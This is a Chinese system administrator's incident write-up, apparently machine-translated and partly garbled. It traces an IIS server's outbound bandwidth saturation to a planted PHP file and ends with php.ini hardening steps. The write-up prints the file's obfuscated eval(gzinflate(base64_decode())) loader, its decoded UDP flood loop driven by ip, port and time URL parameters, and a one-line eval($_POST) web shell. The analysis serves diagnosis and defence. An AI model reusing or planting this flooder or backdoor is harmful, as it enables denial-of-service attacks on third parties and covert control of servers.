最近经常有一两个服务器网络出现问题,甚至断网,大量数据包被PING直接掉包。重启后正常。
经查,占用带宽过高,出现问题时带宽占用100%。估计最初是有攻击的。使用监控观察,有少量的UDP攻击(根据经验,这个量的UDP不会占用100 m,也很混乱)。启动攻击防御措施,但无济于事。查了单个网站的带宽,没有异常。
检查进出带宽的吞吐量。当带宽过高时,发送字节的吞吐量会占用100%。而接收几乎为零。这不像DDOS攻击,会有“下载攻击”。搜索大型压缩文件、视频文件、应用程序并禁止下载。还是会有类似的情况。
加载DU计和一些具有流量监控功能的软件后。等待“攻击”再次到来。“攻击”之后,真的占用了很长一段时间的带宽。检查W3WP.EXE发送更多的流量。高达几十g.记录每个W3WP.EXE进程的PID,并使用iisAPP查看相应的程序池。结束发送流量最大的W3WP.EXE,然后检查W3WP.EXE对应的哪个节目池缺失。将当前程序池下的所有网站分成多个池。为每个网站建立一个单独的程序库。等待再次“出击”。新的“攻击”来了之后,用上面的方法查出是某个程序池,这样就能找到有问题的站点。经过仔细检查,网站中除了HTM文件、一些图片和一个php文件外,只有一个目录包含ASP文件。直接用ASP文件停止目录读取权限。问题依然存在,所以重点放在PHP文件上。查了一下IIS日志,看到有这样一条日志行2010-09-05 13:21:25 w3svc 83 60.191.xxx.xxxget/help.phpIP=222 . 87 . 129 . xxxport=80 time=720080-122.225.115.xxxmozilla/MSIE 6.0;Windows NT 5.1SV1) 401 5 5 1726 410 .问题已经很清楚了。在浏览器中输入www.domain.com/help.phpip=222 . 87 . 129 . xxxport=80 time=7200,服务器的带宽使用率立刻上升到100%。
找出问题,分析PHP文件。
源文件:
?PHP eval(gzinflate(base64 _ decode(' dznhk qniaadv 85 hpdg 4 tgfidrydcrbooevg 5 gqrpbovh 77 crmz f 3vp 99 dofz 6 bbek/sjoqkntsscpnjkhtf 2 xw6 ZP 4 cdvibfuzlq 1 xhchhdf 3z 39 ldpx 33 lk 9 XM 78 duochekfilo 46 qg 21 dieg bctz 9 qw/GD lmgtthrsmdsemlbvkzvpt 3 0um
解密后:
?服务器端编程语言(Professional Hypertext Preprocessor的缩写)
$ packets=0;
$ IP=$ _ GET[' IP '];
$ rand=$ _ GET[' port '];
set _ time _ limit(0);
ignore _ user _ abort(FALSE);
$ exec _ time=$ _ GET[' time '];
$ time=time();
print ' Flooded:$ IP on port $ rand brbr '
$ max _ time=$ time $ exec _ time
for($ I=0;165535美元;$i ){
$出局。=' X
}
while(1){
$数据包;
if(time() $max_time){
打破;
}
$fp=fsockopen('udp://$ip '$rand,$errno,$errstr,5);
if($fp){
fwrite($fp,$ out);
fclose($ FP);
}
}
回显“数据包完成时间”。时间('小时:分钟')。用$packets('round(($packets*65)/1024,2)。mB)数据包平均值。round($packets/$exec_time,2)。数据包/秒n '
?
?php eval($_POST[ddos])?
有了代码,工作原理就一目了然了。
总的来说,没有受到攻击。而是去攻击别人。
解决方案:
PHP不允许使用网络。将php.ini中allow_url_fopen的值改为allow_url_fopen=Off
如果没有。
;extension=PHP _ sockets . dll(sockets.dll受限)
;忽略_用户_中止=开
在这两项前加一个分号。
但这两项默认是这样设置的。防止有的同志手动打开。
然后重启IIS。